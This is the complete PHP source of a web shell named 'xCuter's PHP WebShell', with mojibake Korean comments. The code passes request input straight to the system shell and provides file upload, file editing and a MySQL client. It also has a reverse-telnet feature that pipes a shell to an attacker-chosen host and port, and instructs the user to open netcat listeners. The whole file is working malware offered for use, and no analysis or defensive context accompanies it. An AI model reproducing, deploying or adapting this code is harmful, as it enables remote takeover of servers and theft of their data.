1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
|
<?// ±è¿µ»ï -http://youngsam.kr //?> <? echo "<html> <head><title>xCuter's PHP WebShell & Web Editor & MySQL Client & File Uploader & Reverse Telnet</title></head> <p style='line-height:5mm;font-size:12pt;color:#CCCCCC;'>Commands are : <font color=#F38900>vi</font> [filename], <font color=F38900>sql</font> [server] [id] [pw] [db], <font color=F38900><a onfocus=blur() onclick=location='$_SERVER[PHP_SELF]?command=rz' style='cursor:hand';>rz</a></font>, <font color=#F38900><a onfocus=blur() onclick=location='$_SERVER[PHP_SELF]?command=reverse' style='cursor:hand';>reverse</a></font>"; $cancel="<input type=button value=Cancel!! onclick=document.location='$_SERVER[PHP_SELF]?command=ls%20-al';>";
// ¸®¹ö½º ÅÚ³Ý if(substr($command,0,7)=="reverse" && strlen($command)==7) { echo " <script> function reverse1_help() { alert('1. Run Command in your computer like this : nc -l -p 5555\\n\\n2. Also run like this in another command prompt : nc -l -p 5556\\n\\n3. If you click the \'ESTABLISH\' button, you should be delighted.\\n\\n4. If you enter the arbitrary command to prompt(1), then you can see the result in another\\n\\n prompt(2)'); } function reverse2_help() { alert('1. Run Command in your computer like this : nc -l -p 5555\\n\\n2. Input your IP Address & Port and Click the button then establish.\\n\\n3. Let\'s enter the command if u want to.'); } </script> <body bgcolor=black onload=reverseform1.urip.focus();><HR><font color=#cccccc>Which do u want?<br> <form method=post action=$_SERVER[PHP_SELF] name=reverseform1> <input type=hidden name=command value=$command> <input type=hidden name=reverse1 value=1> 1) <font color=red> telnet <input type=text name=urip value='$REMOTE_ADDR' style='border:1;background-color:#444444;color=#cccccc;width:100;height:18'> <input type=text name=urport value=5555 style='border:1;background-color:#444444;color=#cccccc;width:30;height:18'>| sh | telnet <input type=text name=urip2 value='$REMOTE_ADDR' style='border:1;background-color:#444444;color=#cccccc;width:100;height:18'> <input type=text name=urport2 value=5556 style='border:1;background-color:#444444;color=#cccccc;width:30;height:18'> <input type=submit value=ESTABLISH onclick=document.location='$_SERVER[PHP_SELF]?command=$command'> <font size=2 color=#cccccc> <a onfocus=blur() style='cursor:hand' onclick=reverse1_help()>[HELP]</a> </form> <form method=post action=$_SERVER[PHP_SELF] name=reverseform2> <input type=hidden name=command value=$command> <input type=hidden name=reverse2 value=1> <font color=#cccccc>2) <input type=text name=urip value='$REMOTE_ADDR' style='border:1;background-color:444444;color=#cccccc;width:100;height:18'> <input type=text name=urport value=5555 style='border:1;background-color:444444;color=#cccccc;width:30;height:18'> <input type=submit value=ESTABLISH onclick=document.location='$_SERVER[PHP_SELF]?command=$command'> <font size=2 color=#cccccc> <a onfocus=blur() style='cursor:hand' onclick=reverse2_help()>[HELP]</a> </form> <p><font color=#cccccc> 3) $cancel";
// ½ÇÁ¦·Î ¸®¹ö½º ÅÚ³Ý 1) ¿¬°á if($reverse1) $con_str=`sleep 7777|telnet $urip $urport|sh|telnet $urip2 $urport2`; // 2Hour 16Minutes
// ½ÇÁ¦·Î ¸®¹ö½º ÅÚ³Ý 2) ¿¬°á if($reverse2) { echo "<script>alert('ÁغñÁß');</script>"; }
exit; }
// ÆÄÀÏ ¾÷·Îµå if(substr($command,0,2)=="rz" && strlen($command)==2) { echo "<body bgcolor=black>"; if(!$HTTP_POST_FILES[upload1] && !$HTTP_POST_FILES[upload2] && !$HTTP_POST_FILES[upload3]) // ÆÄÀÏ ¾÷·Îµå°¡ ¾Æ´Ò ½Ã echo "<form method=post action=$_SERVER[PHP_SELF] name=uploadform enctype=multipart/form-data> <input type=hidden name=command value=$command> <input type=file name=upload1 size=60><br> <input type=file name=upload2 size=60><br> <input type=file name=upload3 size=60><br> <input type=submit value=Up!!> $cancel </form>"; else // ÆÄÀÏ ¾÷·Îµå 󸮽à { $fname1=$HTTP_POST_FILES[upload1][name]; $fname2=$HTTP_POST_FILES[upload2][name]; $fname3=$HTTP_POST_FILES[upload3][name]; if(!@move_uploaded_file($HTTP_POST_FILES[upload1][tmp_name], $fname1) && !@move_uploaded_file($HTTP_POST_FILES[upload2][tmp_name], $fname2) && !@move_uploaded_file($HTTP_POST_FILES[upload3][tmp_name], $fname3)) die("<p><font color=red>¾÷·Îµå ½ÇÆÐ $cancel");
echo "<script>document.location='$_SERVER[PHP_SELF]?command=ls%20-al';</script>"; } exit; }
// ÆíÁýµÈ ÆÄÀÏ ÀúÀå if($save_text) { $save_text=str_replace("\\","",$save_text); $wfp=@fopen($fname,"w") or die("<br><script>alert('Warning!! Writing Error!\\nCheck permission for write!');history.back();</script>"); fwrite($wfp, $save_text, strlen($save_text)); fclose($wfp); echo "<script>alert('Successfully file saved.');document.location='".$_SERVER[PHP_SELF]."?fname=&save_text=&command=ls%20-al';</script>"; }
// vi ÆíÁý±â if(substr($command,0,3)=="vi ") { $org_cmd=str_replace(" ","%20",$command); $str=explode(" ", $command);
if(file_exists($str[1])) $isfile=1;
if($isfile) $fp=@fopen($str[1],"r"); else $fp=@fopen($str[1],"w"); if($isfile) { $text=@fread($fp,filesize($str[1])); @fclose($fp); }
echo "<body onload=modify.save_text.focus(); bgcolor=black>"; echo "<br>- FileName : <font color=red>$str[1]"; echo '<form name=modify action="'.$_SERVER[PHP_SELF].'" method=POST> <input type=hidden name=fname value="'.$str[1].'"> <input type=submit value="Save" onClick=document.location="'.$_SERVER[PHP_SELF].'?command=ls%20-al";> <input type=button name=command value="Command Mode" onClick=document.location="'.$_SERVER[PHP_SELF].'?command=ls%20-al";><p> <textarea name=save_text style="width:100%;height:500">'.$text.'</textarea> </form>'; exit; }
// SQL Connecting if(substr($command,0,4)=="sql " || (substr($command,0,4)=="sql ")) { $str=explode(" ", $command);
if($str[4]) // ÀÎÀÚ ¼ö È®ÀÎ { echo " <html> <head> <script> function make_str(mode) { if(mode=='con') { f=document.conn; var c=f.serv.value+' '+f.dbid.value+' '+f.dbpw.value+' '+f.dbnm.value; document.location='$_SERVER[PHP_SELF]?command=sql '+c; return 1; } else if(mode=='cmd') { f=document.conn; g=document.sql; var c=f.serv.value+' '+f.dbid.value+' '+f.dbpw.value+' '+f.dbnm.value; var d=f.cmd.value; document.location='$_SERVER[PHP_SELF]?command=sql '+c+'&cmd='+d; return 1; } return 0; } </script> </head> <body onload=sql.cmd.focus(); bgcolor=black color=#CCCCCC> <font size=2 color=#cccccc> <HR> <form name=conn action=$REQUEST_URI method=post> Server: <input type=text name=serv size=19 value=$str[1]> DB_ID: <input type=text name=dbid size=14 value=$str[2]> DB_PW: <input type=text name=dbpw size=14 value=$str[3]> DB_Name: <input type=text name=dbnm size=14 value=$str[4]> <input type=button value=Connect!! onclick=make_str('con');> $cancel </form> <HR> <form name=sql action=$REQUEST_URI method=post> <input type=hidden name=command value='$command'> <span style='font-size:9pt;color:#cccccc;font-family:Fixedsys'> mysql> <input type=text name=cmd value='' size=60 style='border:0;background-color:black;color:#cccccc'> [History: $cmd] <input type=button value='' onclick=make_str('cmd'); style='width:0;height:0'> </form> </body> </html>"; } // ÀÎÀÚ°¡ ÀÖ´Ù¸é } // ¸í·ÉÀÌ sql·Î ½ÃÀÛÇϸé
// SQL ¿¬°áÀÌ ¼º¸³ µÈ ÀÌÈÄ~ if($cmd || (!$cmd&&substr($command,0,4)=="sql ")) { $connect=@mysql_connect($str[1], $str[2], $str[3]) or die("<font color=red>Error : SQL ¿¬°á ½ÇÆÐ!! ¿¬°áÁ¤º¸¸¦ ´Ù½Ã È®ÀÎÇØº¸¼¼¿ä."); @mysql_select_db($str[4], $connect) or die("<font color=red>Error : Database ¸íÀ» È®ÀÎÇϼ¼¿ä.");
if($cmd) // SQL ÁúÀǾ ÀÖÀ» ¶§ { $query=@mysql_query($cmd) or die("Error : Äõ¸® ½ÇÆÐ!! Äõ¸®¹® ´Ù½Ã È®ÀÎÇØ º¸¼¼¿ä(±ÇÇÑÀÌ ¾ø´Â °ÍÀÏ ¼öµµ ÀÖÀ½)"); $cnt=@mysql_num_rows($query); $cnt2=@mysql_num_fields($query);
// Àüü ·¹ÄÚµå Áß °¢ ÇʵåÀÇ ÃÖ´ë °ª ÀúÀå for($i=0;$i<$cnt;$i++) { @mysql_data_seek($query, $i) or die("Error: Seek ½ÇÆÐ"); $data=@mysql_fetch_array($query) or die("Error : µ¥ÀÌÅÍ Á¶ÇÕ ½ÇÆÐ in mysql_fetch_array()"); for($j=0;$j<$cnt2;$j++) if(strlen($data[$j])>$max[$j]) $max[$j]=strlen($data[$j]); }
for($i=0;$i<$cnt;$i++) // ¿ ¼ö ¸¸Å { @mysql_data_seek($query, $i); $data=@mysql_fetch_array($query); for($j=0;$j<$cnt2;$j++) // ÇÊµå ¼ö ¸¸ Å { echo $data[$j]; // ÇÊµå °ª for($l=strlen($data[$j]);$l<$max[$j];$l++) echo " "; // Á¤·ÄÇϱâ->PADDING if($j!=$cnt2-1) echo " | "; // ±¸ºÐ±âÈ£
} // ÇÊµå ¼ö ¸¸Å echo "<br>"; } // ¿ ¼ö ¸¸Å Ãâ·Â } // Äõ¸®°¡ ÀÖÀ» °æ¿ì } // Äõ¸®°¡ Àְųª, Äõ¸®°¡¾ø ¸í·É¸¸ÀÖÀ»¶§
else { $command = str_replace("\\", "", $command); $result = `$command`; $info = ereg_replace("\n", "", "[".`whoami`."@".`hostname -s`." ".`pwd`."]$");
echo " <body onload=xcu.command.focus(); bgcolor=black color=#CCCCCC> <form name=xcu action=$_SERVER[REQUEST_URI] method=post> $info <INPUT TYPE=TEXT NAME=command VALUE='' SIZE=45 style=border:0;background-color:black;color=#cccccc> [History : $command] <INPUT TYPE=SUBMIT VALUE='' style='width:0;height:0'> <HR><font color=#cccccc><XMP>\n$result</XMP></font><HR> </body> </form> </html>"; } // else ?>
|